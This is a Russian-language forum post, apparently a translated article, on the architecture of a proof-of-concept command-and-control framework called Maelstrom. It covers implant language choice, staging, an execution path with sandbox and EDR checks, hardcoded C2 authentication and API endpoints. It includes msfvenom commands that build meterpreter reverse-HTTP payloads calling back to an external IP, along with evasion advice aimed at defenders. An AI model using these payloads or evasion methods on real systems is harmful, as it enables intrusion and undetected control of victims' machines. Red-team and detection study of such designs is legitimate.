• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Maelstrom: Архитектура С2

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Цели

В этом статье мы собираемся обсудить некоторые архитектурные решения, когда дело доходит до написания C2. В этом первом эпизоде, мы рассмотрим решения, необходимые для имплантата, которые мы будем изучать, когда будем писать сопроводительное доказательство концепции C2. Поскольку это не C2 без крутого имени, мы назвали этот экземпляр C2 Maelstrom. Мы также обратимся к более функциональному частному C2, Vulpes (https://mez0.cc/projects/vulpes/), чтобы проиллюстрировать разницу между экспериментальной версией, используемой для этих статей, и действующей C2.

Этот пост будет охватывать:

- рассмотрение некоторых концепций, которые могут повлиять на наш выбор языка,
- выбор языка для импланта,
- выбор языка сервера,
- выбор компилятора,
- выбор подходящей криптографии и
- некоторые базовые упражнения для читателя по вопросам оперативной безопасности.

Не паникуйте! Здесь мы просто разрабатываем имплантат — мы расскажем о реализации и методах в следующих постах! В этом блоге мы обсуждаем принятые нами решения по конструкции имплантатов.

Важные концепции

Объектно-ориентированного программирования

Вредоносное ПО — это просто программное обеспечение со злыми намерениями, и непослушность не означает, что сам код не может быть хорошо написан, и уж точно не означает, что код не содержит ошибок! При реверсе образцов вредоносных программ многие из них, как правило, плохо спроектированы и написаны — например, они используют небезопасное поведение для управления своим кодом, оставляя явные признаки компрометации и даже негативно влияя на производительность целевого устройства из-за утечек памяти и других ошибок. Все это делает имплант более заметным и, следовательно, менее безопасным.

Когда вы пишете имплант, который будет работать какое-то время, необходимо надлежащим образом позаботиться о таких вещах, как утечка памяти — даже если вы преодолели EDR, необъяснимые сбои будут замечены. Для этого есть много решений, но самое простое, которое мы использовали в Maelstrom и Vulpes, — сохранить объектно-ориентированный код ( https://www.w3schools.com/cpp/cpp_classes.asp). Это обеспечивает структуру и стандартизацию конкретных функций, а также значительно упрощает управление ресурсами.

Управление ресурсами

Как мы только что обсудили, объекты делают код более управляемым и могут повысить безопасность имплантата, упростив создание и удаление объектов в памяти.

Использование объектов для управления ресурсами

Вот немного псевдокода от Vulpes:

1657946285497.png


В приведенном выше примере представлен класс для обработки выполнения .NET с помощью среды CLR (Common Language Runtime). Когда создается экземпляр класса, CLR также инициализируется. И затем, когда функция возвращается, вызывается деструктор; вызывая выполнение CleanupCLR().

Это ведет прямо к следующей теме - (https://en.cppreference.com/w/cpp/language/raii)

Захват ресурсов — это инициализация

Получение ресурсов — это инициализация или RAII — это метод программирования на C++, который связывает жизненный цикл ресурса, который должен быть получен перед использованием (выделенная память кучи, поток выполнения, открытый сокет, открытый файл, заблокированный мьютекс, дисковое пространство, соединение с базой данных — все, что существует в ограниченном количестве) на время жизни объекта (
https://en.cppreference.com/w/cpp/language/lifetime).

С помощью этих простых концепций мы уменьшаем количество человеческих ошибок, которые в противном случае могли бы возникнуть, если бы нам нужно было вызывать функцию каждый раз, когда мы выполняем действие. Поскольку наши объекты неявно обрабатываются как при создании, так и при уничтожении, вероятность забытого объекта, зависающего в памяти, значительно снижается. Это очень важно для имплант — забытый объект является еще одним потенциальным индикатором компрометации (IoC) — поэтому, гарантируя, что объекты должным образом и полностью удалены после использования, наш имплант становится более безопасным и может даже вызывать меньше синих экранов смерти.

Шаблоны проектирования

Отходя от конкретных концепций программирования, когда дело доходит до рассмотрения языка импланта, мы также должны учитывать цели импланта. Здесь помогают шаблоны проектирования. Структурируя наши намерения, мы облегчаем себе принятие решений. В качестве дополнительного бонуса, если это коммерческий C2, управленческое подтверждение ваших намерений может быть блестящим для некоторых CYA позже, если это потребуется.

Существует множество паттернов проектирования, но мы остановились на MoSCoW (https://en.wikipedia.org/wiki/MoSCoW_method), поскольку он довольно прямолинеен и легко транслируется в теги и вехи GitHub:

Сам термин Moscow представляет собой аббревиатуру, полученную из первой буквы каждой из четырех категорий приоритетности: M — должно быть, S — должно быть, C — могло бы быть, W — не будет.

Это особенно полезно с C2, поскольку функциональность (и потенциальная функциональность) может стать подавляющей. Например, очень безопасный метод сна может быть чрезвычайно важен для варианта использования C2. Принимая во внимание, что имитация программы-вымогателя может быть крутой, но полностью выходит за рамки и требует огромных затрат времени. Имплант, каналы связи и сервер могут иметь огромное количество функций, но в мире ограниченного времени и усилий не все из них можно использовать! Когда появится идея для фичи, имейте в виду эту модель. Это сэкономит вам много времени и хлопот, если вы внедрите его на ранней стадии и будете придерживаться его на протяжении всего времени.

Придерживаясь известных стандартов, стилей разработки и шаблонов, C2 получает столько же преимуществ, сколько и любое другое программное обеспечение. Важно отметить, что, поскольку импланты должны работать изолированно, возможностей для отладки во время боя практически нет!

Языки

Как мы уже несколько раз говорили, мы не собираемся создавать огромный и полнофункциональный C2. Из-за того, что мы сосредоточились на обнаружении имплантов на хосте, мы будем намного меньше обсуждать специфику сервера.

Пример сервера, который мы здесь используем, по существу не важен, так как это просто пользовательский интерфейс. В реальном C2 такие решения, как текстовые пользовательские интерфейсы, толстые клиенты и веб-браузеры, гораздо важнее, поскольку, хотя они не влияют на работу C2, они все же влияют на взаимодействие с пользователем. C2 написан как инструмент качества жизни, поэтому ЭСТЕТИКА и ЖИЗНЬ важны, и их следует учитывать, но время, проведенное здесь, не улучшит его шансы против EDR! В этом случае Maelstrom прост и использует Python — его легко написать, и он изначально мультиплатформенный, и нам нужен только простой API для получения наших примеров запросов. В полнофункциональном C2, поддерживающем более подробные операции и, возможно, несколько одновременных пользователей, здесь, конечно, будет потрачено больше времени.

Имея это в виду, давайте посмотрим на наши варианты имплантов!

Возможные языки

Существует множество доступных языков, но вот некоторые из них, которые часто встречаются и заслуживают внимания:

C/C++: вероятно, самый распространенный (https://bruteratel.com/) , Nighthawk (https://www.mdsec.co.uk/nighthawk/), Vulpes (https://mez0.cc/projects/vulpes/)& Havoc (https://twitter.com/C5pider) ).

C#: вероятно, самый простой для начала, особенно для тех, кто уже привык к рабочим процессам PowerShell (https://github.com/SharpC2/SharpC2) .

Go: еще один вариант, который гораздо сложнее обнаружить статически, но переносимые файлы огромны (https://github.com/BishopFox/sliver/).

Nim: Это может быть хорош, но пока мы не видели слишком много наступательных инструментов, написанных с использованием его Nimplant (https://github.com/MythicAgents/Nimplant/search?l=nim).

Rust: Как и в случае с Nim, язык сам по себе довольно интересен, но в настоящее время у него небольшое сообщество ( Offensive Rust (https://github.com/trickster0/OffensiveRust)).

Естественно, ничто, кроме вашего достоинства, не мешает вам написать C2 на Java, PHP или любом другом языке.

Когда дело доходит до принятия решения о том, какой язык использовать, нам нужно учитывать несколько вещей:

Какой язык обеспечивает наибольшую полезность для достижения конечной цели?

Поддерживает ли язык ваши требования — нам нужны низкоуровневые манипуляции с памятью для улучшения opsec?

Как выглядит процесс сборки? Должен ли он быть кросс-компилируемым? Компиляция быстрая? Являются ли сгенерированные двоичные файлы практичными для участия?

Можно ли запутать код? Если продукт будет продаваться, помните, что сервер будет разослан клиентам; если он написан на Python, исходный код будет трудно защитить.

Наконец, с каким языком нам нравится работать и поддерживать?


Для контекста, для импланта Vulpes (https://mez0.cc/projects/vulpes/) C2, mez-0 (https://twitter.com/__mez0__) выбрал C++ по следующим причинам:

Простое объектно-ориентированное программирование (ООП) и получение ресурсов при инициализации (RAII).

Естественно легкий доступ к управлению памятью.

Кросс-компиляция и компиляция mingw просты.

Кодовую базу можно легко запутать.

Это не новый язык для авторов, и он имеет широкую экосистему для поддержки отладки.


Наш образец C2 — Maelstrom — будет написан на C, потому что:

Это просто PoC, поэтому нам не нужны дополнительные функции.

Нам нужен прямой доступ к памяти, крошечные двоичные файлы и легкий позиционно-независимый код.

Его просто нужно запустить на наших машинах для разработки в контролируемой среде.

Мы уже делимся исходным кодом и (намеренно) пишем его плохо.


Конфигурация

Имея представление о том, чего мы хотим достичь и как мы хотим это написать, мы также должны подумать о том, какое поведение мы хотим реализовать и как это следует определять и контролировать. Чтобы C2 работал в различных условиях, имплант должен быть адаптируемым. В конечном счете, конфигурация или нет, такие значения, как адрес сервера, должны где-то храниться, и наша операционная безопасность повышается, если EDR не может легко получить к ним доступ.

Большинство C2 также включают какой-либо способ указания целевой платформы и архитектуры, как минимум, и, как правило, также включают параметры для более сложной конфигурации, такие как определение того, как распределяется память, когда и как маячок скрывает свое присутствие, и другие параметры конфигурации для повысить его эффективность и безопасность работы. Вместо повторной компиляции и повторной отправки жестко запрограммированного импланта каждый раз, когда мы изменяем настройку, нам нужен способ безопасного хранения этой конфигурации, чтобы имплант мог получить к ней доступ и обновить ее.

Cobalt Strike делает это с помощью Malleable PE, Process Injection и Post Exploitation (https://hstechdocs.helpsystems.com/...e/content/topics/malleable-c2-extend_main.htm). Его конфигурация хранится в разделе .data (часть объектного файла, где хранятся статические переменные во время выполнения) и слегка запутывается с помощью операции XOR с 4-байтовым ключом. Хотя это делает конфигурацию легко доступной для маяка, это также означает, что она может быть легко извлечена целевой машиной.

Другой вариант — встроить файл конфигурации в другой раздел, например в .rsrc, но он, скорее всего, станет жертвой того же процесса, если исследователи смогут получить в свои руки переносимый исполняемый файл (PE).

Наш путь выполнения, который мы обсудим в следующем разделе, добавляет к нему больше слоев и затрудняет доступ к фактическому импланту. Опять же, мы не хотим предоставлять хорошо работающий C2, мы просто хотим обсудить его и убедиться, что идеи известны, поэтому мы фактически не будем реализовывать это в выпущенной версии C2.

Стейдж или не стейдж

Вопрос о том, следует ли имплантировать поэтапно или безэтапно, делается для всех имплантов для всех C2, даже для Metasploit. Решение простое - весь потенциальный контент должен быть включен изначально или должен предоставляться поэтапно. Один этап приводит к увеличению первоначальной загрузки с потенциальными индикаторами компрометации контента, который, возможно, даже никогда не будет использован. И наоборот, бесступенчатая полезная нагрузка может снизить вероятность того, что ее поймают, но это означает, что больше контента должно размещаться на внешнем сервере и запрашиваться. Известно, что в случае с Cobalt Strike, если используется поэтапная полезная нагрузка, она может позволить любому запросить полный маячок и, следовательно, конфигурацию (https://github.com/whickey-r7/grab_beacon_config/blob/main/grab_beacon_config.nse). Но мы считаем, что поэтапный подход, если все сделано правильно, все же следует рассмотреть.

Однако Vulpes (https://mez0.cc/vulpes/) использует этот поэтапный метод, а также использует индивидуально зашифрованные данные соединения C2, при этом полная конфигурация загружается во время выполнения. При таком подходе защитник должен будет найти информацию аутентификации C2, а затем сопоставить всю правильную информацию о ключах, чтобы расшифровать ее. Если это будет сделано, то им также потребуется выкопать имплант из памяти (которая также замаскирована и запутана, подробнее об этом позже).

Путь выполнения

Приняв все это решение, мы теперь можем планировать, как будет работать наш имплант. Имплант может просто немедленно обратиться к серверу C2 и запросить команду, как классический nc или обратный шелл PowerShell. Но нет никакой гарантии, что это не будет обнаружено или что имплант не был открыт в неправильном месте (например, на домашнем компьютере целевого пользователя).

Между первоначальным запуском и возможностью безопасного выполнения команд с сервера должно пройти несколько шагов внутри импланта. Нам нужно подумать, действительно ли мы находимся на машине-жертве (а не в ловушке антивирусной песочницы, например), может ли запуститься сам имплант и нужно ли получать дополнительный код и команды.

Следующие шаги представляют собой приемлемый минимум:

- Это предполагаемая среда?

- Это песочница?

- Какие подозрительные процессы запущены?

- EDR активен?

- Доступен ли сервер C2?

- Надежно извлеките код, затем

- Сделайте взлом.

Следующий псевдокод показывает, как это выглядит в нашем примере импланта Maelstrom:

1657946369185.png


Таким образом, прежде чем какой-либо код будет извлечен и запущен, имплант сначала проверяет, что это безопасно и правильно. Это означает, что:

Внутри переносимого исполняемого файла (PE) нет упакованного двоичного файла, который может действовать как IOC.

С поэтапной ReflectiveDLL мы получаем небольшую начальную полезную нагрузку.

Ключ гарантирует, что наш имплант работает на правильной машине, что важно, когда у нас есть конкретный объем работы.

Перечисляя запущенные процессы и драйверы, мы можем вернуть целевую рефлексивную DLL, которая может подорвать конкретную защиту конечной точки, вместо того, чтобы этот код оставался в качестве упражнения для читателя.

Аутентификация C2 устраняет возможность перечисления C2.

Естественно, ничего из этого не должно происходить; это именно то, что мы сочли лучшим после изучения поведения других вредоносных программ и имплантов.

Следует отметить, что на этом этапе исполняемый файл импланта должен находиться на диске, чтобы это работало. В реальном сценарии код стадии 0 импланта должен быть адаптирован для:

Опционально: создания нового процесса (подмена PPID, если требуется).

Внедрения DLL в удаленный процесс

Сделав это, функция загрузки этапа 0 может вернуться и, следовательно, завершиться без ошибок. Это то, что сделает весь процесс правильным. Но пока мы будем использовать загрузчик, потому что его легче отлаживать.

Шифрование

Криптография — это математика, и именно здесь большинство вещей в жизни усложняются. По этой причине мы не будем вдаваться в подробности здесь, но на высоком уровне это должно быть включено и настраиваемо. EDR могут и действительно анализируют энтропию исполняемых файлов — большой зашифрованный двоичный объект будет выглядеть более случайным, чем обычно выглядит код, а это означает, что имплант возвращается к внешнему виду IOC. Это не означает, что данные лучше оставить в открытом виде — мы не хотим, чтобы наш имплант и его конфигурация читались каким-либо проходящим процессом, и мы особенно хотим убедиться, что EDR не может обмануть и просто добавить статическую подпись. для обнаружения импланта.

Давайте проверим энтропию шифрования, создав три образца имплантов etasploit — один закодированный с помощью XOR, один «зашифрованный с помощью RC4 и, наконец, один зашифрованный с помощью AES256:

msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=10.10.11.205 LPORT=443 -f exe -o msf.xor.exe --encrypt xor
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=10.10.11.205 LPORT=443 -f exe -o msf.rc4.exe --encrypt rc4
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=10.10.11.205 LPORT=443 -f exe -o msf.aes256.exe --encrypt aes256


Мы можем использовать утилиту ent для проверки энтропии каждого файла:

1657946402637.png


Это дает:

1657946410091.png


Использование AES256 для упакованного PE дает энтропию 7,98. Тогда как XOR и RC4 равны 1,5 и 1,3 соответственно. Общее эмпирическое правило может заключаться в том, чтобы статические файлы не превышали 5, но это зависит от дизайна. Но везде, где передаются данные, особенно если это информация о клиенте, убедитесь, что это AES256. Так же само собой разумеется, что SSL должен быть включен для трафика, чтобы ваш трафик также не читался.

Доступ к серверу

Наконец, нам нужно управлять тем, как имплант будет получать доступ к серверу. Не только для подготовки, но и для управления отправкой обновлений и ответов, а также получением команд. Имплант должен включать способ аутентификации на сервере C2, а сервер C2 должен иметь возможность получать сообщения от импланта.

Аутентификация

Сервер C2, естественно, должен иметь какой-то способ аутентификации — мы не хотим предоставлять этапы любому клиенту. Мы также хотим убедиться, что наш сервер не может быть легко обнаружен в Интернете, что может привести к раскрытию нашего прикрытия, и чтобы ответы от импланта попадали в нужное место.

Поскольку Maelstrom — это простой POC, и мы не хотим выкладывать в мир работающий C2, он использует жестко закодированный заголовок, который будет использоваться для аутентификации:

X-MAELSTROM:Password1

Очевидно, что этот заголовок должен быть полностью динамическим и может находиться буквально в любом месте запроса. Продукт C2, конечно, не должен полагаться на предсказуемые статические учетные данные, но для проверки концепции мы просто оставим все как есть.

Отправка данных

Поскольку мы просто делаем простой POC C2, мы пойдем по простому пути и настроим сервер Python Flask (https://flask.palletsprojects.com/en/2.0.x/). API означает, что при условии, что имплант знает о конечных точках (которые мы определим в его конфигурации), мы можем получать данные в структурированном виде и при необходимости координировать несколько имплантов и пользователей.

Таким образом, имплант будет обрабатывать:

Динамическую обработку URI

Запрос: /a?something или a/a/ должно быть хорошо

Каждый имплант должен иметь свою уникальную аутентификацию.

Если заголовки должны отправляться туда и обратно, это может быть хорошим способом добавить проверку к запросу.


- Если Х-1, Х-2 и Х-3 присутствуют, то ладно.


- В противном случае игнорировать

Рассмотрите возможность использования более одной конечной точки API, настройка может быть следующей:

Стейджинг

curl http://127.0.0.1/staging

Новый маячок

curl http://127.0.0.1/new


Регистрация

curl http://127.0.0.1/checkin

Вернуть работу

curl http://127.0.0.1/job


Очевидно, что эти имена не будут одинаковыми, но это всего лишь общий обзор. При разделении запросов и URI становится труднее определить, действительно ли это C2. Если есть 1000 запросов к http://127.0.0.1/IMPLANT, то, скорее всего, это компромисс, но мы надеемся, что несколько запросов к разным страницам должны сливаться с бэкграудом.

Вывод

Это было многословно, но первые один или два поста из этой серии будут такими. Мы пытаемся настроить среду, прежде чем переходить к коду, и объяснить, что и почему мы настраиваем определенным образом.

Итак, в этой статье мы выбрали язык для сервера и импланта, установили план выполнения и обсудили некоторые криптографические и причудливые сценарии защиты. Следующая статья будет посвящена разработке импланта!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх